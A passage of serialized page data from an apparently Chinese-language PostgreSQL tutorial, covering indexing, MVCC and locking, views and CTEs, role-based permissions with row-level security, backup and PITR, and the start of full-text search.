1。",{"id":133188,"title":41990,"titles":133189,"content":133190,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步复合索引的列序",[36576,41942],"CREATE INDEX idx_orders_user_created ON orders (user_id, created_at); 最左前缀规则决定它能服务谁：WHERE user_id = 42 能用（最左列独立命中）；WHERE user_id = 42 AND created_at > now() - interval '7 days' 能用得很好；WHERE created_at > ... 单独用不能——最左列缺席，索引整体作废。通用配方：等值条件列在前，范围条件列在后；再把 ORDER BY 的列对齐进去，WHERE user_id = 42 ORDER BY created_at DESC LIMIT 5 可以完全在索引里倒着走五步就停，计划里连 Sort 节点都没有（示例 08 有这个计划的对照）。",{"id":133192,"title":42032,"titles":133193,"content":133194,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步三种救场索引",[36576,41942],"覆盖索引（INCLUDE）——查询需要的列全在索引里，就不用回表。PG 11 起 CREATE INDEX ... INCLUDE (extra_col) 把额外列挂进索引叶子页（不参与排序）： CREATE INDEX idx_orders_user_cover ON orders (user_id) INCLUDE (status, amount); 部分索引——只索引满足条件的行，待办列表场景极爽，百万订单里 pending 状态的就几千行： CREATE INDEX idx_orders_pending ON orders (created_at)\nWHERE status = 'pending'; 索引体积是全量索引的零头，写入时多数行根本不进索引，代价几乎为零。 表达式索引——第四章埋过的雷在这里拆。WHERE lower(email) = 'ada@example.com' 用普通 btree 索引是命中不了的，建表达式索引： CREATE INDEX idx_users_email_lc ON users (lower(email));",{"id":133196,"title":4796,"titles":133197,"content":133198,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-6",[36576,41942],"1. 不加 ANALYZE 的 EXPLAIN 是「打算」，不是「结果」。 不加只显示优化器计划怎么执行，加上才真的执行并显示 actual 行数与耗时。拿计划里的估算行数去汇报，等于没跑。 2. 估算行数和实际行数差一个数量级，先怀疑统计信息。 读输出抓三样：rows=（估算行数）与 actual 行数差多少——差一个数量级说明统计信息过期，跑一把 ANALYZE orders 让 autovacuum 重新采样；Buffers: shared read=（从磁盘读了多少页）——hit 是缓存命中，read 是真实 IO；Execution Time——唯一能写进汇报的数字。 3. 表达式索引是「文本级一致」才匹配。 建索引用 lower(email)，查询就必须写一模一样的 lower(email)，写成 lower(email, 'C') 都会对不上——这也是全文搜索第十三章要用「同一表达式」的原因。另一种解法更省事：应用侧保证存入时已小写，查询写 WHERE email = lower('Ada@Example.com')。 4. %关键词% 这种中缀 LIKE 用不上 btree。 解法是 pg_trgm 扩展 + GIN 索引： CREATE EXTENSION pg_trgm;\nCREATE INDEX idx_products_name_trgm ON products USING gin (name gin_trgm_ops); 它把字符串拆成三元组做倒排，ILIKE '%键盘%' 也能走索引——很多「搜索框」需求到这一步就够了，撑不到需要第十三章全文搜索的程度。 5. 索引不是免费的：写入要付利息，膨胀要还本金。 每多一个索引，每次 INSERT\u002FUPDATE 都多一次维护写入；UPDATE 只要碰了任何一个被索引的列，新版本就要在所有相关索引里各插一份（旧版本变死元组，第九章细说）。所以「先建 20 个索引再倒数据」不如反过来：大批量导入前删掉非约束索引，导完 ANALYZE 再重建，快一个数量级很正常。 6. 表和索引都会膨胀，要会看数字。 PG 里有 pgstattuple 扩展可以看表和索引的死元组比例（膨胀率），阈值到 20%~30% 就值得处理：常规 VACUUM 只回收不还磁盘，VACUUM FULL 还磁盘但拿全表排他锁，线上用 pg_repack 平替。这一账记进第十六章核对清单。 7. Index Only Scan 吃不吃得到，取决于 vacuum。 覆盖索引配合「visibility map 足够干净」才会出现 Index Only Scan，连堆表都不碰；长期不 vacuum 的表会退化成带 heap fetch 的普通扫描（第九章 MVCC 讲为什么）。",{"id":133200,"title":42253,"titles":133201,"content":133202,"level":357},"\u002Ftutorials\u002Fpostgresql#附explain-节点与索引类型速查",[36576,41942],"节点 意思 什么时候出现 Seq Scan 全表顺序扫 无索引可用，或优化器算出全扫更便宜（命中行太多） Index Scan 沿索引走，边走边回表 命中行少 Bitmap Heap Scan + Bitmap Index Scan 先在索引里收集一批行的位图，再成批回表 命中行中等量级（几百到几万） 类型 擅长 典型场景 btree（默认） =、\u003C、>、BETWEEN、前缀 LIKE 'abc%' 99% 的索引 hash 只有 = PG 10 起才可靠，等值超长键可以考虑 gin 倒排索引，「包含」类查询 jsonb @>、数组 &&、全文搜索（第十三章） gist 通用搜索树，「相交\u002F相邻」类 地理（第十四章）、范围类型、排他约束（防止区间重叠） spgist 空间分区树 特殊数据分布，如 IP 前缀 brin 只存每个块区间的 min\u002Fmax 超大且按写入顺序查询的表（日志、流水），体积极小",{"id":133204,"title":42429,"titles":133205,"content":133206,"level":341},"\u002Ftutorials\u002Fpostgresql#九事务与锁mvcc隔离级别与排队事故",[36576],"PG 的并发控制全建立在 MVCC（多版本并发控制）上：写不阻塞读，读不阻塞写。第一遍只需要掌握第一步那三种写法（不丢更新的套路），隔离级别的差异、锁排队和死锁都收在章末。",{"id":133208,"title":42440,"titles":133209,"content":133210,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步事务的三种安全写法",[36576,42429],"「SELECT 检查库存 → 应用判断 → UPDATE 扣减」这套流程在并发下必然丢更新：两个事务同时读到库存 1、都判断通过、都写成功，库存变 -1。三种修法按保守到乐观排： -- ① 悲观：先把行锁住再查（行内排队）\nBEGIN;\nSELECT stock FROM products WHERE id = 1 FOR UPDATE;  -- 锁住这行\nUPDATE products SET stock = stock - 1 WHERE id = 1;  -- 安全\nCOMMIT;\n\n-- ② 乐观：把判断压进 UPDATE 的 WHERE，看影响行数\nUPDATE products SET stock = stock - 1\nWHERE id = 1 AND stock >= 1;\n-- 应用侧检查 affected rows：0 就说明被抢了，走「已售罄」分支\n\n-- ③ 原子：第五章的 upsert，配「不存在则插入」的幂等语义\nINSERT INTO stock_log (product_id, day, sold) VALUES (1, '2026-10-10', 1)\nON CONFLICT (product_id, day) DO UPDATE SET sold = stock_log.sold + 1; 日常优先 ②——它不持锁等待、天然并发安全，业务分支也清晰；热点行抢购场景才需要 ① 或引入队列削峰。",{"id":133212,"title":42523,"titles":133213,"content":133214,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步知道读不阻塞写就够了",[36576,42429],"每行都有几个系统隐藏列：xmin（创建它的事务号）、xmax（删除\u002F失效它的事务号）。UPDATE 也不存在原地修改——它是「插一行新版本 + 给旧版本打墓碑」： SELECT xmin, xmax, status FROM orders WHERE id = 42;   --  258312 |      0 | pending\nUPDATE orders SET status = 'paid' WHERE id = 42;\nSELECT xmin, xmax, status FROM orders WHERE id = 42;   --  258421 |      0 | paid 第二次查询看到的 xmin 已经是新事务号——那是一个新元组。旧版本（xmin=258312）被标上 xmax=258421，成为死元组；但只要还有别的事务的快照能看到它，它就必须留着。这一条推出本章所有的怪现象，也推出第九章坑 1 那条雪崩。",{"id":133216,"title":42568,"titles":133217,"content":133218,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步多-worker-抢任务用-skip-locked",[36576,42429],"SELECT ... FOR UPDATE 拿行级排他锁，两个修饰词改变冲突时的行为：NOWAIT 拿不到立即报错；SKIP LOCKED 拿不到就跳过去看下一行。后者是「多 worker 抢任务」的标准解： UPDATE jobs SET status = 'running', worker = 'w1'\nWHERE id = (\n  SELECT id FROM jobs\n  WHERE status = 'pending'\n  ORDER BY id\n  LIMIT 1\n  FOR UPDATE SKIP LOCKED\n)\nRETURNING id, payload; 两个 worker 同时执行：w1 锁住 101 号，w2 在子查询里发现 101 被锁、自动跳到 102——互不等待、永不撞车。拿消息队列（Kafka\u002FRedis）之前，很多轻量任务场景到 SKIP LOCKED 就够用了，又少养一个组件。",{"id":133220,"title":4796,"titles":133221,"content":133222,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-7",[36576,42429],"1. 一个「idle in transaction」能让全库膨胀。 承第二步的推论：只要还有事务的快照能看到旧版本，死元组就不能回收。所以一个挂着不提交的长事务，会让 vacuum 无法回收全库的死元组，表和索引一路膨胀，全库变慢——这是 PG 独有的雪崩形态，第十六章清单里「监控 idle in transaction」专门冲它去的。 2. 默认隔离级别 READ COMMITTED 下，事务内两次 SELECT 结果可以不同。 -- 会话 A                                    -- 会话 B\nBEGIN;\nSELECT count(*) FROM orders;  -- 1000\n                                             BEGIN;\n                                             UPDATE orders SET status='paid' WHERE id\u003C5;\n                                             COMMIT;   -- B 已提交\nSELECT count(*) FROM orders;  -- 还是 1000？不，这次是 1005\nCOMMIT; A 的两条 SELECT 之间没有任何写入，但第二次看到了 B 已提交的数据——因为 RC 下每条语句都换新快照。从 MySQL（默认 RR）迁过来、依赖「事务内复读」的代码要改写。 3. 升到 RR \u002F SERIALIZABLE，就要写重试循环。 InnoDB 的 RR 靠间隙锁挡幻读，PG 的 RR 靠快照——读不加锁，写冲突靠报错重试：并发改同一行时冲突方会报 could not serialize access due to concurrent update，SERIALIZABLE 还会预测危险结构并报 serial failure。应用必须捕获 40001 SQLSTATE 重来一次，否则就是偶发 500。 4. ALTER TABLE 能把全站堵死。 行锁之上还有表级锁，八级里只需要记住两端：普通 SELECT\u002FUPDATE 拿的都是弱锁，互不冲突；而 ALTER TABLE 要拿 ACCESS EXCLUSIVE——与一切读写互斥。事故链通常是这么发生的： 14:00:03  会话 A：一个长查询\u002F未提交事务还挂着（拿住弱锁）\n14:00:05  DBA：ALTER TABLE orders ADD COLUMN memo text;  → 排队等 A\n14:00:06  之后的所有 SELECT ... FROM orders → 全部排在 DDL 后面（FIFO 队列）\n14:00:30  全站接口超时，报警炸了 锁队列是先进先出的，DDL 一旦排进去，后面所有请求不管读写都得等它。防御两件套：会话级先 SET lock_timeout = '3s'; 再执行 DDL，拿不到锁立刻退出（而不是堵门）；大表建索引一律 CREATE INDEX CONCURRENTLY——不挡写入（代价：慢一些，失败会留下 INVALID 索引需要 drop 重来）。 5. 死锁不靠调参解决，靠统一加锁顺序。 A 锁 42 再要 43，B 锁 43 再要 42，互相等到天荒地老——PG 的死锁检测器（默认 deadlock_timeout 1 秒）会杀掉其一： ERROR:  deadlock detected\nDETAIL:  Process 2847 waits for ShareLock on transaction 258330;\n         blocked by transaction 258325.\n         Process 2831 waits for ShareLock on transaction 258325;\n         blocked by transaction 258330.\nHINT:  ... server log 有两个进程正在执行的 SQL 解法不是调参，是改业务加锁顺序：所有代码路径都按固定顺序（比如按主键升序）加锁，环路就消失了。 6. 外键列没索引，删除会放大成锁等待。 第七章那条「PG 不给外键自动建索引」的坑，在事务里更致命：删父表一行要顺序扫子表检查引用，扫描期间两边都持锁，直接变成排队事故。",{"id":133224,"title":42757,"titles":133225,"content":133226,"level":357},"\u002Ftutorials\u002Fpostgresql#附隔离级别速查",[36576,42429],"级别 脏读 不可重复读 幻读 PG 的实现与脾气 READ UNCOMMITTED 不存在（PG 直接当 RC 处理） 有 有 PG 不允许脏读，设了也白设 READ COMMITTED（默认） 无 有 有 每条语句拿一个新快照，事务里两次 SELECT 结果可以不同 REPEATABLE READ 无 无 无（快照隔离） 事务开始定快照；并发改同一行时冲突方报 could not serialize access due to concurrent update，需重试 SERIALIZABLE 无 无 无 SSI 算法预测危险结构，冲突报 serial failure，应用必须带重试",{"id":133228,"title":42849,"titles":133229,"content":314,"level":341},"\u002Ftutorials\u002Fpostgresql#十视图与-cte把长查询变成复用单元",[36576],{"id":133231,"title":42853,"titles":133232,"content":133233,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步视图给长查询起个名字",[36576,42849],"CREATE VIEW v_paid_orders AS\nSELECT id, user_id, amount, paid_at\nFROM orders\nWHERE status = 'paid'; 视图的两个常规用途：给前端\u002FBI 一个稳定的「表样子」，和给低权限账号一个只露部分列的口子（配合 GRANT，第十一章）。PG 的特色是简单视图自动可更新——只要视图是单表直出（没有 GROUP BY\u002F聚合\u002FDISTINCT\u002F窗口\u002F集合操作），对它的 INSERT\u002FUPDATE\u002FDELETE 会自动改到原表上： UPDATE v_paid_orders SET amount = 99.00 WHERE id = 42;   -- 直接生效 再加 WITH CHECK OPTION，连「改完就掉出视图可见范围」的行都会被拒绝，防止通过视图越权改数据。",{"id":133235,"title":42904,"titles":133236,"content":133237,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步物化视图昂贵报表落盘",[36576,42849],"普通视图每次查询都现算；物化视图把结果落盘： CREATE MATERIALIZED VIEW mv_daily_sales AS\nSELECT date_trunc('day', paid_at) AS day, sum(amount) AS amt\nFROM orders WHERE status = 'paid' GROUP BY 1;\n\nREFRESH MATERIALIZED VIEW mv_daily_sales;                 -- 全量刷，期间查询被阻塞\nCREATE UNIQUE INDEX ON mv_daily_sales (day);              -- 前置条件\nREFRESH MATERIALIZED VIEW CONCURRENTLY mv_daily_sales;    -- 不阻塞读 定个任务凌晨全量刷，白天报表直接查物化视图，一笔流水一笔账。CONCURRENTLY 的两个前提见坑 2。",{"id":133239,"title":42960,"titles":133240,"content":133241,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步cte拆步骤与遍历树",[36576,42849],"「起名字、拆步骤」，多个 CTE 依次引用： WITH recent AS (\n  SELECT * FROM orders WHERE created_at > now() - interval '7 days'\n),\nbig AS (\n  SELECT * FROM recent WHERE amount > 1000\n)\nSELECT count(*) FROM big; 树形结构（部门、评论楼层、物料清单）的遍历神器是递归 CTE： WITH RECURSIVE sub AS (\n  -- 种子：起点\n  SELECT id, name, parent_id, 1 AS depth FROM depts WHERE id = 2\n  UNION ALL\n  -- 递归：从上一轮结果往下走一层\n  SELECT d.id, d.name, d.parent_id, s.depth + 1\n  FROM depts d JOIN sub s ON d.parent_id = s.id\n)\nSELECT * FROM sub ORDER BY depth; id |  name   | parent_id | depth\n----+---------+-----------+-------\n  2 | 技术部  |         1 |     1\n  5 | 后端组  |         2 |     2\n  6 | 前端组  |         2 |     2\n  9 | 平台小队 |         5 |     3\n(4 rows) 还有一个冷门但极顺手的用法：数据修改 CTE，一条语句完成「删 A 表搬进 B 表」，还天然原子： WITH moved AS (\n  DELETE FROM jobs_done WHERE created_at \u003C now() - interval '30 days'\n  RETURNING *\n)\nINSERT INTO jobs_archive SELECT * FROM moved;",{"id":133243,"title":4796,"titles":133244,"content":133245,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-8",[36576,42849],"1. 视图不物化，就是每次都现算。 普通视图只是一段被起名的 SQL，SELECT * FROM v_paid_orders 展开后该扫多少行还是多少行；报表慢的时候别怪视图，要么加索引，要么按第二步物化。 2. REFRESH MATERIALIZED VIEW 全量刷期间查询被阻塞，想不阻塞读必须用 CONCURRENTLY，而它的前提是物化视图上有一个唯一索引（上面示例里那行 CREATE UNIQUE INDEX 就是前置条件）。另外 CONCURRENTLY 只更新变化的行，代价是更依赖 diff 键，唯一索引选错列会刷得很慢。 3. 「CTE 会慢」是老版本的结论。 PG 12 之前 CTE 是优化围栏（外面怎么查都不下推进去），PG 12 起默认内联优化，想强制物化要写 AS MATERIALIZED。所以看资料要看版本：新集群里把子查询改写成 CTE 通常只是可读性收益，不背性能锅。 4. 递归 CTE 忘写终止条件会无限循环。 UNION 会对结果去重、还能兜住意外死循环；UNION ALL 不去重更快，但忘写递归终止条件（JOIN 不再产新行）就会无限循环——调试期先加 LIMIT 100 再跑，是保命习惯。数据里存在环（A 的父是 B、B 的父是 A）时同样会转不出来，PG 14 起可用 CYCLE ... SET 子句标记环路行。 5. 数据修改 CTE 的「原子」是语句级的。 上面那段「删 + 搬」在同一条语句里，但 CTE 内的可见性遵循所在事务的隔离级别：READ COMMITTED 下，moved 里看不到并发刚提交的其它行变更，别把它当成「读己之写」的万能方案。",{"id":133247,"title":43179,"titles":133248,"content":43182,"level":341},"\u002Ftutorials\u002Fpostgresql#十一用户和角色权限落到位",[36576],{"id":133250,"title":43186,"titles":133251,"content":133252,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步权限给组人挂组",[36576,43179],"PG 里只有一种对象叫 role：「用户」就是带 LOGIN 属性能连库的 role，「用户组」就是不带 LOGIN 的 role。官方文档的说法是「一个 role 可以当用户、也可以当用户组，取决于你怎么配它」，而主流做法就是把权限授给组，再把需要的人加进组——而不是逐个用户去 GRANT： -- 1) 建一个「只读组」：它自己连不了库，只是权限容器\nCREATE ROLE read_only NOLOGIN;\nGRANT USAGE ON SCHEMA business TO read_only;\nGRANT SELECT ON ALL TABLES IN SCHEMA business TO read_only;\nALTER DEFAULT PRIVILEGES IN SCHEMA business GRANT SELECT ON TABLES TO read_only;\n\n-- 2) 建用户并挂进组\nCREATE ROLE zhangsan LOGIN PASSWORD '...';\nGRANT read_only TO zhangsan;\n\n-- 3) 以后新同事也只看数据？一行就够\nCREATE ROLE lisi LOGIN PASSWORD '...';\nGRANT read_only TO lisi; 这样管的好处很实在：权限的定义只有一份（在组上），进人出人只是成员关系的变化；哪天要收权，REVOKE ... FROM read_only 一次生效，不用去回忆「当初到底给哪几个人单独授过」；审计时 \\du 或 information_schema.role_table_grants 一眼能看清「谁能看什么」。CREATE USER 只是 CREATE ROLE ... LOGIN 的别名，见到别慌。 成员默认会自动继承组的权限（role 属性 INHERIT 是默认值），所以 zhangsan 挂进 read_only 之后直接 SELECT 就能用，不需要 SET ROLE。反过来说，如果建用户时写了 NOINHERIT，成员关系还在、权限却拿不到，得显式 SET ROLE read_only; 才生效——见本章坑 3。",{"id":133254,"title":43331,"titles":133255,"content":133256,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步应用账号的最小权限模板",[36576,43179],"应用账号不该是 owner、更不该是超级用户，照抄这套（它正是第一步那套思路用在服务账号上：应用账号只拿增删改查，建表归迁移账号）： -- 1. 收口：public schema 不再放业务表\nCREATE SCHEMA business AUTHORIZATION migrator;\nREVOKE CREATE ON SCHEMA public FROM PUBLIC;\n\n-- 2. 应用账号：只用不建\nCREATE ROLE app LOGIN PASSWORD '...';\nALTER ROLE app SET search_path = business, public;         -- 第三章说过：账号级固定查找路径，免得到处写前缀\nGRANT USAGE ON SCHEMA business TO app;\nGRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA business TO app;\nGRANT USAGE ON ALL SEQUENCES IN SCHEMA business TO app;   -- 第四章说过：identity\u002Fserial 的序列必须授，否则 INSERT 报错\nALTER DEFAULT PRIVILEGES IN SCHEMA business\n  GRANT SELECT, INSERT, UPDATE, DELETE ON TABLES TO app;   -- 开发明天建的新表自动生效\nALTER DEFAULT PRIVILEGES IN SCHEMA business\n  GRANT USAGE ON SEQUENCES TO app; ALTER DEFAULT PRIVILEGES 解决的是「今天授了 ALL TABLES，明天新建的表又没权限」的补漏问题——它登记的是「以后谁建的表自动授给谁」。 服务账号要不要也套一层组？两种都算主流：讲究一点的做法是再建一个 rw_app 组拿权限、app 只做 LOGIN 并挂进组，好处是将来换连接账号（改密码、换应用）不用重授一遍权；小团队直接授给 app 也很常见。选定一种写进规范，别一半走组、一半直接授。",{"id":133258,"title":43437,"titles":133259,"content":133260,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步多租户再加一道-rls",[36576,43179],"「每个租户只能看见自己的行」如果只靠应用层 WHERE，一个忘写就跨租户泄漏。PG 的 RLS 把这条规则焊在表上： ALTER TABLE orders ENABLE ROW LEVEL SECURITY;\n\nCREATE POLICY tenant_isolation ON orders\n  USING (tenant_id = current_setting('app.tenant_id')::bigint)\n  WITH CHECK (tenant_id = current_setting('app.tenant_id')::bigint); 应用连接后执行 SET app.tenant_id = '42';，之后这张表上所有查询自动带上租户过滤（USING），所有写入自动校验租户归属（WITH CHECK）。",{"id":133262,"title":4796,"titles":133263,"content":133264,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-9",[36576,43179],"1. 表 owner 和超级用户默认绕过 RLS。 开了 ENABLE ROW LEVEL SECURITY 却用 owner 账号连，策略一条都不生效——测试时「明明配了策略怎么还能看见别人的数据」多半是这个。想连自己也拦，要 ALTER TABLE orders FORCE ROW LEVEL SECURITY。 2. 连接池 + RLS = 串数据风险。 SET app.tenant_id 的作用域是会话级，连接归还进池子时值还在。下个租户复用这条连接，就看到上一个租户的数据。必须归还前 RESET app.tenant_id，或者用事务级的 SET LOCAL（事务结束自动失效）。 3. 组权限「给了却没生效」，先看成员是不是 NOINHERIT。 权限授给了组、人也挂进了组，查询仍报 permission denied for table orders——先用 \\du 看那个用户的属性列。成员角色默认带 INHERIT，会自动继承组权限；但如果建号时写了 NOINHERIT，成员关系只等于「有资格切换」，必须显式 SET ROLE read_only; 才拿得到权限。新版本还能在单次授予上单独控制：GRANT read_only TO zhangsan WITH INHERIT FALSE;。团队里规范只选一个：要么一路用默认的 INHERIT，要么写明「必须 SET ROLE」，两种混用最难排查。顺带一条：组角色是 NOLOGIN 的，拿 read_only 直接连库必然失败，那不是权限没配好。 4. GRANT ... ON ALL TABLES 只管当下。 它不会覆盖以后新建的表，忘了 ALTER DEFAULT PRIVILEGES 就会出现「昨天还好好的，今天上线新表应用就报 permission denied for table ...」。另外它登记的是「谁建的表」，用 A 账号建的表、给 B 账号登记过默认权限，也不会自动生效。 5. 表 owner 天生全权，GRANT 收不走。 owner 随时能 DROP 自己的表，任何授权都限制不了它。所以生产环境里「迁移专用账号」当 owner、应用账号只拿增删改查，两层分开。 6. trust 出现在公网段等于开源。 认证方式一行写错，等于没密码。trust 只允许出现在本机测试；对外一律 scram-sha-256。 7. 改完 pg_hba.conf 不重启也要 reload。 SELECT pg_reload_conf(); 就够（连接数、内存类参数才要重启）。忘了 reload 会白排查半小时。 8. 老 md5 密码要重设一次才升级。 PG 14 起默认加密方式是 SCRAM，但库里存量的 md5 密码不会自动变，得用 \\password 重设一次。两端不一致时报的是 password authentication failed 或 server does not support SCRAM，看不出根因。 9. 排查「怎么连都失败」先看 pg_hba.conf。 规则从上往下第一条命中即生效，尤其 docker exec 走的本机 socket 默认是 trust，而 TCP 进来要密码，两条路行为不同属正常（第二章坑 7 的另一面）。",{"id":133266,"title":43629,"titles":133267,"content":133268,"level":357},"\u002Ftutorials\u002Fpostgresql#附角色与权限排查速查",[36576,43179],"「到底谁有什么权限」这类问题，靠这几条命令一次看清： 想知道什么 用什么 有哪些角色、能不能登录、属于哪个组 \\du（看 Attributes 与 Member of 两列） 角色属性的机器可读版 SELECT rolname, rolcanlogin, rolinherit, rolcreaterole FROM pg_roles; 成员关系明细（谁挂进了哪个组） SELECT r.rolname AS member, g.rolname AS grp FROM pg_auth_members m JOIN pg_roles r ON r.oid=m.member JOIN pg_roles g ON g.oid=m.roleid; 某张表授给了谁 \\d orders 的 Access privileges，或 SELECT * FROM information_schema.role_table_grants WHERE table_name='orders'; 某人是不是在某组里 SELECT pg_has_role('zhangsan', 'read_only', 'member'); 某人能不能查这张表 SELECT has_table_privilege('zhangsan', 'business.orders', 'SELECT'); 临时以组的身份执行 SET ROLE read_only; … RESET ROLE;（NOINHERIT 成员必须走这一步）",{"id":133270,"title":43725,"titles":133271,"content":133272,"level":357},"\u002Ftutorials\u002Fpostgresql#附pg_hba-认证方式速查",[36576,43179],"连接认证由数据目录里的 pg_hba.conf 决定，五行一列（类型 数据库 用户 地址 认证方式），从上往下第一条命中即生效： 方式 行为 评价 trust 免密直连 只允许出现在本机测试，出现在公网段等于开源 scram-sha-256 密码走 SCRAM 挑战 推荐。PG 14 起默认加密方式即它；旧 md5 密码用 \\password 重设一次自动升级 peer 校验本机 OS 用户同名 本机管理入口的舒适区 reject 显式拒绝 垫在规则末尾封禁网段",{"id":133274,"title":43809,"titles":133275,"content":133276,"level":341},"\u002Ftutorials\u002Fpostgresql#十二备份与恢复pg_dump物理备份与-pitr",[36576],"先立总原则：没恢复过的备份不算备份。本章的每个命令，都值得在实验容器里跑一遍。第一遍只需要会第一步的逻辑备份与恢复。",{"id":133278,"title":43820,"titles":133279,"content":133280,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步一次完整的逻辑备份与恢复",[36576,43809],"pg_dump -U postgres -Fc -f shop-20261010.dump shop    # -Fc 自定义压缩格式\nls -lh shop-20261010.dump                              # 214M\npg_restore -l shop-20261010.dump | head -12            # 先看目录再动手\npg_restore -j 4 --clean --if-exists -d shop shop-20261010.dump -Fc 自定义格式支持并行恢复（-j 4）、选择性恢复（--table=orders 只捞一张表）、压缩，比裸 SQL 灵活得多。数据搬家用 \\copy（客户端侧 CSV，权限跟随当前用户）： \\copy products TO 'products.csv' WITH (FORMAT csv, HEADER true)\n\\copy products FROM 'products_bak.csv' WITH (FORMAT csv, HEADER true) 大批量导入记得第八章的账：先删非约束索引、导完 ANALYZE 再重建。",{"id":133282,"title":43939,"titles":133283,"content":133284,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步wal-归档与-pitr-的最小配置",[36576,43809],"WAL（预写日志）是 PG 的 redo log+binlog 合体：每个数据页修改前先记日志，崩溃后靠它回放。归档 WAL 就等于把「所有变更流水」存下来，配上一次完整的物理备份（basebackup），理论上可以恢复到任意时间点（PITR，即 Point-In-Time Recovery）： archive_mode = on\narchive_command = 'cp %p \u002Fvar\u002Flib\u002Fpostgresql\u002Farchive\u002F%f'   # 每个 WAL 段写完拷走\n\npg_basebackup -D \u002Fbackup\u002Fbase-20261010 -Fp -Xs -R\n# -Xs 流式同时拉 WAL，-R 生成恢复配置，顺带也是搭流复制的第一步 误操作恢复（比如 14:32 有人 DROP TABLE）的标准动作：起一台恢复机 → 拷入最近的 basebackup → 配置 restore_command 指向归档目录 + recovery_target_time = '14:31:00'（事故前一分钟）→ 起库回放到目标点 → 从影子里把数据捞出来。",{"id":133286,"title":4796,"titles":133287,"content":133288,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-10",[36576,43809],"1. pg_dump 不导角色、密码、表空间。 这些是全局对象，要用 pg_dumpall --globals-only 单独备份。漏了它的典型症状：恢复出来的库「没人连得上」，或者应用账号权限全丢。 2. pg_dump 的一致性来自单一事务快照，但它只导「当前逻辑内容」。 不是某个时刻的完整物理状态——想回到过去某分钟，只能靠第二步的 WAL 归档 + PITR，别指望一份昨天的 dump。 3. PG 没有 MySQL binlog 那种可直接反向执行的回滚日志。 逻辑误操作（UPDATE 忘带 WHERE）的恢复就是「PITR 拉影子库捞数」，所以归档的连续性必须有监控：archive_command 失败时未归档的 WAL 会一直堆积，撑满磁盘之后数据库连日志都写不下去，直接停摆。归档是否落后，看 pg_stat_archiver 里的失败计数和最近成功时间。 4. PITR 期间实例不可用，且恢复目标点要保守。 recovery_target_time 设在事故前一分钟，还得确认那分钟的 WAL 段真的归档成功了（pg_stat_archiver 或归档目录里的文件名连续性）。恢复完的库是影子库，捞数出来再回写，别直接把它当生产库上线。 5. 恢复演练要真的演练。 本章末尾那张策略表里每一行都得有对应的演练记录，否则「有备份」只是心理安慰——这也是第十六章清单里「演练」一栏存在的原因。",{"id":133290,"title":44037,"titles":133291,"content":133292,"level":357},"\u002Ftutorials\u002Fpostgresql#附备份策略组合表",[36576,43809],"灾难场景 靠什么救 恢复粒度 误删某张表 逻辑备份里的该表 \u002F PITR 分钟级（PITR 要起影子库） 误删整个库 \u002F 逻辑坏数据 PITR 分钟级时间点 机器磁盘全毁 异地归档 + basebackup 小时级 大版本升级 \u002F 换云厂商 pg_dump 逻辑迁移 与版本解耦，最通用 应用层误 UPDATE（无备份演练） PITR 影子库捞回 这也是为什么清单里必须有「演练」一栏 一个够用的小规模组合：每日一次 pg_dump（逻辑，防呆）+ 每日一次 pg_basebackup + 持续 WAL 归档（防灾难），归档目录本身再异地同步一份。再往上规模就该看 pgBackRest \u002F WAL-G 这类带增量与去重的工具了。",{"id":133294,"title":44126,"titles":133295,"content":133296,"level":341},"\u002Ftutorials\u002Fpostgresql#十三扩展-全文搜索tsvectorgin-与相关度",[36576],"「搜索框里输个词，把商品\u002F文章按相关度排出来」——第一反应写 LIKE '%词%' 的话，三个问题全撞上：%前缀% 用不了索引必然全表扫；keyboard 搜不到 Keyboards（没有词干归一）；结果没有相关度可言，只能按时间凑合。PG 的内置全文搜索把这三件事一次解决，而且不需要装任何第三方扩展——英文场景开箱即用。",{"id":133298,"title":44149,"titles":133299,"content":133300,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步一条-sql-做出按相关度排序",[36576,44126],"SELECT id, title\nFROM articles\nWHERE to_tsvector('english', body) @@ websearch_to_tsquery('english', 'postgres -mysql')\nORDER BY ts_rank(to_tsvector('english', body),\n                 websearch_to_tsquery('english', 'postgres -mysql')) DESC\nLIMIT 10; 三个零件：to_tsvector 把文本切成「词 + 位置」，websearch_to_tsquery 把用户在搜索框里打的那句话翻译成查询（\"引号短语\"、-排除、OR 都认识），@@ 判断是否命中，ts_rank 给相关度打分。先看一眼 tsvector 长什么样，理解会快很多： shop=# SELECT to_tsvector('english', 'Learning PostgreSQL is fun');\n            to_tsvector\n------------------------------------\n 'fun':4 'learn':1 'postgresql':2\n(1 row) 一步发生了什么：按空白和标点切词、去掉停用词（is\u002Fa\u002Fthe 这类）、词干归一（learning → learn）。tsvector 就是「这个词 + 出现在第几个位置」的有序表，体积小、可比较、可索引。",{"id":133302,"title":44224,"titles":133303,"content":133304,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步让它走索引",[36576,44126],"上面的写法每行都要现算 to_tsvector，全表扫。两种索引化姿势，推荐后者： -- 姿势一：表达式索引。查询里必须一字不差地写 to_tsvector('english', body) 才命中\nCREATE INDEX idx_articles_fts ON articles USING gin (to_tsvector('english', body));\n\n-- 姿势二：生成列 + 普通索引，查询写 tsv @@ query 即可（第四章生成列的老朋友）\nALTER TABLE articles\n  ADD COLUMN tsv tsvector\n  GENERATED ALWAYS AS (to_tsvector('english', title || ' ' || body)) STORED;\nCREATE INDEX idx_articles_tsv ON articles USING gin (tsv); 高亮展示用 ts_headline('english', body, query, 'StartSel=\u003Cb>, StopSel=\u003C\u002Fb>') 直接产出带标签的摘要片段；打分函数 ts_rank 越大越相关（还有一个考虑词距的 